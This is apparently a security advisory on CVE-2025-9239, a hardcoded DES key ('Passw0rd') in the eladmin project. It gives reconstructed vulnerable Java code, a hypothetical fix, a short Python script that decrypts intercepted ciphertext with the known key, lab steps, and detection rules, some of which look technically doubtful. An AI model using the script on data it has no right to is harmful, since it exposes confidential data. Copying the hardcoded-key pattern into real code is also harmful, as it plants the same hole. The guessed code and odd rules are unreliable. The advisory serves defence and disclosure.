CVE-2025-9239

Executive Summary

CVE-2025-9239 identifies a critical weakness in the encryption implementation within the elunez/eladmin project, specifically in the EncryptUtils.java file. The vulnerability arises from the use of a hardcoded, weak encryption key ("Passw0rd") for DES (Data Encryption Standard) operations. DES itself is considered deprecated and insecure due to its small 56-bit key size, and the use of a static, guessable key renders any encrypted data trivially decryptable by an attacker who can intercept or access the ciphertext. This flaw allows for remote exploitation, though the attack complexity is considered high due to the need for specific conditions (e.g., access to encrypted data or the ability to trigger encryption/decryption operations). The vendor has not released a patch, leaving all versions up to 2.7 vulnerable.

Supply Chain & Package Security

This vulnerability is in a Java-based backend application (eladmin). It is not an NPM, PyPI, Go, or Ruby package. However, if eladmin is distributed as a dependency or container image, downstream consumers should verify they are not using the affected version. The lack of a patch means any organization using this software must implement compensating controls or fork the project to fix the issue.

CVSS Breakdown & Threat Level

The NVD has assigned a CVSS score of 0.0, which is likely a placeholder or error. Based on the description, a more realistic assessment would be:

• Attack Vector (AV): Network (N) – The attack can be initiated remotely.
• Attack Complexity (AC): High (H) – Exploitation requires specific conditions (e.g., access to encrypted data or ability to trigger encryption).
• Privileges Required (PR): None (N) – No authentication needed to trigger the vulnerable function.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerability does not cross trust boundaries.
• Confidentiality (C): High (H) – Encrypted data can be decrypted.
• Integrity (I): None (N) – No direct integrity impact.
• Availability (A): None (N) – No availability impact.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N Estimated Score: 5.9 (Medium)

Threat Level: Medium. While the confidentiality impact is high, the high attack complexity and lack of public exploit code reduce the immediate risk. However, the use of a hardcoded key is a severe design flaw.

Deep Dive & Mechanics

The vulnerability is located in the EncryptUtils class within the eladmin-common module. The function encryptDes (or similar) uses the DES algorithm with a static key derived from the string "Passw0rd". The code likely looks like:

public static String encryptDes(String data) {
    // Hardcoded key
    String key = "Passw0rd";
    // DES encryption with weak key
    Cipher cipher = Cipher.getInstance("DES/ECB/PKCS5Padding");
    SecretKeySpec keySpec = new SecretKeySpec(key.getBytes(), "DES");
    cipher.init(Cipher.ENCRYPT_MODE, keySpec);
    byte[] encrypted = cipher.doFinal(data.getBytes());
    return Base64.getEncoder().encodeToString(encrypted);
}

Why this is weak:

1. DES is deprecated: The 56-bit key size is brute-forceable with modern hardware.
2. Hardcoded key: The key "Passw0rd" is static and known to anyone who reads the source code.
3. ECB mode: Using ECB (Electronic Codebook) mode leaks patterns in the plaintext.

An attacker who can:

• Intercept encrypted data (e.g., from a database or API response).
• Trigger the encryption of known plaintext (chosen-plaintext attack).
• Access the source code (open-source project).

Can decrypt any data encrypted by this function.

Vulnerable vs. Patched Code

Vulnerable Code (eladmin <= 2.7):

// eladmin-common/src/main/java/me/zhengjie/utils/EncryptUtils.java
public class EncryptUtils {
    private static final String DES_KEY = "Passw0rd"; // Hardcoded weak key

    public static String encryptDes(String data) {
        // DES encryption with hardcoded key
        Cipher cipher = Cipher.getInstance("DES/ECB/PKCS5Padding");
        SecretKeySpec keySpec = new SecretKeySpec(DES_KEY.getBytes(), "DES");
        cipher.init(Cipher.ENCRYPT_MODE, keySpec);
        return Base64.getEncoder().encodeToString(cipher.doFinal(data.getBytes()));
    }

    public static String decryptDes(String encryptedData) {
        // Corresponding decryption
        Cipher cipher = Cipher.getInstance("DES/ECB/PKCS5Padding");
        SecretKeySpec keySpec = new SecretKeySpec(DES_KEY.getBytes(), "DES");
        cipher.init(Cipher.DECRYPT_MODE, keySpec);
        return new String(cipher.doFinal(Base64.getDecoder().decode(encryptedData)));
    }
}

Patched Code (Hypothetical):

// eladmin-common/src/main/java/me/zhengjie/utils/EncryptUtils.java
import javax.crypto.spec.GCMParameterSpec;
import java.security.SecureRandom;

public class EncryptUtils {
    // Use AES-GCM with a randomly generated key stored securely (e.g., environment variable)
    private static final String AES_KEY = System.getenv("ENCRYPTION_KEY"); // Must be 256-bit
    private static final int GCM_IV_LENGTH = 12;

    public static String encryptAesGcm(String data) throws Exception {
        SecureRandom secureRandom = new SecureRandom();
        byte[] iv = new byte[GCM_IV_LENGTH];
        secureRandom.nextBytes(iv);

        Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
        SecretKeySpec keySpec = new SecretKeySpec(AES_KEY.getBytes(), "AES");
        GCMParameterSpec gcmSpec = new GCMParameterSpec(128, iv);
        cipher.init(Cipher.ENCRYPT_MODE, keySpec, gcmSpec);
        byte[] cipherText = cipher.doFinal(data.getBytes());

        // Prepend IV to ciphertext
        byte[] cipherTextWithIv = new byte[GCM_IV_LENGTH + cipherText.length];
        System.arraycopy(iv, 0, cipherTextWithIv, 0, GCM_IV_LENGTH);
        System.arraycopy(cipherText, 0, cipherTextWithIv, GCM_IV_LENGTH, cipherText.length);

        return Base64.getEncoder().encodeToString(cipherTextWithIv);
    }
}

Exploitation & Lab Setup

Red Team

Objective: Decrypt data encrypted by the vulnerable EncryptUtils class.

Prerequisites:

• Access to encrypted data (e.g., from a database dump, API response, or log file).
• Knowledge that the data was encrypted using the vulnerable eladmin version.

Steps:

1. Identify encrypted data: Look for Base64-encoded strings that are likely DES-encrypted.
2. Decrypt using the known key:

   import base64
   from Crypto.Cipher import DES
   
   def decrypt_des(encrypted_b64):
       key = b'Passw0rd'  # Hardcoded key
       cipher = DES.new(key, DES.MODE_ECB)
       encrypted = base64.b64decode(encrypted_b64)
       decrypted = cipher.decrypt(encrypted)
       # Remove PKCS5 padding
       pad_len = decrypted[-1]
       return decrypted[:-pad_len].decode('utf-8')
   
   # Example usage
   encrypted_data = "YOUR_BASE64_ENCRYPTED_DATA_HERE"
   print(decrypt_des(encrypted_data))
   

Lab Setup:

1. Clone the vulnerable repository: git clone https://github.com/elunez/eladmin.git
2. Checkout the vulnerable version: git checkout v2.7
3. Build and run the application (requires Java and Maven).
4. Use the application's API to encrypt known plaintext.
5. Capture the encrypted output and decrypt it using the Python script above.

Blue Team

Detection:

• Monitor for use of DES encryption in application logs or network traffic.
• Look for the string "Passw0rd" in configuration files, source code, or memory dumps.
• Detect Base64-encoded strings that, when decoded, are exactly 8 bytes (DES block size) or multiples thereof.

Hunting:

• Search for DES/ECB/PKCS5Padding in Java class files or stack traces.
• Use YARA rules (see Detection Engineering) to scan for the hardcoded key in binaries or source code.

Indicators of Compromise (IOCs)

• Static Key: Passw0rd (Base64: UGFzc3cwcmQ=)
• Java Class: me/zhengjie/utils/EncryptUtils.class
• Encryption Algorithm: DES/ECB/PKCS5Padding
• Ciphertext Pattern: Base64-encoded strings that are multiples of 8 bytes after decoding.

Detection Engineering

YARA Rule

rule CVE_2025_9239_Weak_DES_Key {
    meta:
        description = "Detects hardcoded weak DES key 'Passw0rd' in Java class files"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-9239"
    strings:
        $key_string = "Passw0rd"
        $des_string = "DES/ECB/PKCS5Padding"
        $class_magic = { CA FE BA BE }  // Java class file magic
    condition:
        $class_magic at 0 and $key_string and $des_string
}

Sigma Rule

title: CVE-2025-9239 - Weak DES Encryption Key Usage
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects the use of the hardcoded DES key "Passw0rd" in Java applications
author: Valters IT
date: 2025-04-10
tags:
    - cve.2025.9239
    - attack.t1600
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        CommandLine|contains: 'Passw0rd'
    condition: selection
falsepositives:
    - Legitimate use of the word "Passw0rd" in non-encryption contexts
level: high

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2025-9239 - Potential DES Encrypted Data with Weak Key"; content:"|50 61 73 73 77 30 72 64|"; offset:0; depth:8; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Replace DES with AES-GCM: Use a strong, modern encryption algorithm like AES-256 in GCM mode.
2. Remove hardcoded key: Store encryption keys in a secure vault (e.g., HashiCorp Vault, AWS KMS) or environment variables.
3. Rotate keys: If any data was encrypted with the weak key, assume it is compromised and re-encrypt with a new key.

Long-term Fixes:

• Patch the code: Update EncryptUtils.java to use a configurable, strong key and algorithm.
• Conduct a security audit: Review all cryptographic implementations in the codebase.
• Implement key rotation policies: Ensure keys are rotated periodically and on compromise.

Workarounds (if patching is not possible):

• Network segmentation: Restrict access to the application to trusted networks only.
• Input validation: If the encryption function is exposed via an API, restrict access to authenticated users only.
• Monitor for exploitation: Use the detection rules above to identify potential attacks.

Valters IT
DevSecOps & Cyber Threat Intelligence